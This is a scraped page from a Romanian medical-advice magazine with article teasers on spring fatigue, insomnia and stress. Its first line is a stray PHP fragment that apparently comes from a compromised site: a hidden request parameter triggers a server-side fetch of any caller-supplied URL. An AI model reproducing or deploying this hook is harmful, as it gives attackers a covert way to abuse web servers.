isset($_REQUEST['zox4vu']) && fetch_feed($_REQUEST['feed_url']); Sfaturi medicale MedicAS - Revista medicala - pagina 5

Ne bucuram ca vine primavara, asteptam cu nerabdare ca natura sa revina la viata, ne emotioneaza aparitia ghioceilor si totusi…parca ceva nu este in regula. Ne simtim obositi, fara chef de viata si avem nevoie de mult somn, chiar de la prima ora a diminetii. Sa fie oare astenia de primavara cauza acestor tulburari? Vom afla raspunsul in randurile care urmeaza.

Ce este astenia de primavara?

In primul rand, trebuie sa stim ca astenia nu este o boala propriu-zisa, ci un simptom, o tulburare, o stare de slabiciune, de disconfort fizic si psihic, care apare o data cu inceputul primaverii. In aceasta perioada, organismul nostru trebuie sa faca fata nu doar schimbarilor de temperatura si luminozitatii crescute, dar este nevoit sa se adpateze unui nou stil de viata. Pentru aceasta, el are nevoie de resurse energetice. Citeşte articolul complet »


Cuvinte relevante: , , , ,


insomnia

Te prinde miezul noptii si nu reusesti sa adormi? Sau la o ora dupa ce adormi te trezesti, te uiti pe tavan si nu stii ce sa mai faci ca sa iti vina somnul? Ti se face dintr-o data somn, dar cand te pui in pat iti dai seama ca “ti-a sarit somnul”? Insomnia s-ar putea sa fie explicatia. Citeste mai departe ca sa afli cum poti scapa de aceasta afectiune.

Ce este insomnia?

Din punct de vedere medical, insomnia este o tulburare a somnului. Ea impiedica refacerea capacitatilor fizice si psihice pe timpul noptii si determina, astfel, instalarea unei stari generale de oboseala a organismului.

Insomnia si cauzele ei:

• Sedentarismul
• Surmenajul fizic si intelectual
• Nevrozele (depresia)
• Consumul excesiv de cafea sau cacao Citeşte articolul complet »


Cuvinte relevante: , , ,


stresata

Agitatia si aglomeratia in care traim, dorinta de a realiza cat mai multe intr-un timp cat mai scurt, diversele presiuni la care suntem expusi zilnic reprezinta capcane care ne pot arunca in vartejul denumit STRES. Definitia medicala spune ca stresul este o reactie de aparare a individului la agresiunile mediului. In cele mai multe cazuri, aceasta reactie este insotita de stari cum ar fi: tensiune, constrangere, incordare, inadaptare, suprasolicitare etc. Toate acestea determina un dezechilibru in viata noastra, care poate merge de la incapacitatea de a ne desfasura in conditii optime activitatile zilnice, inclusiv cele profesionale, pana la aparitia unor boli precum: ulcer, cefalee, infertilitate, astenie, depresie sau boli cardiace. Ca sa evitam aceste situatii extreme, este necesar sa cunoastem cauzele si metodele de prevenire si tratare a stresului. Citeşte articolul complet »


Cuvinte relevante: ,


 
 

Newsletter

Loading... Loading...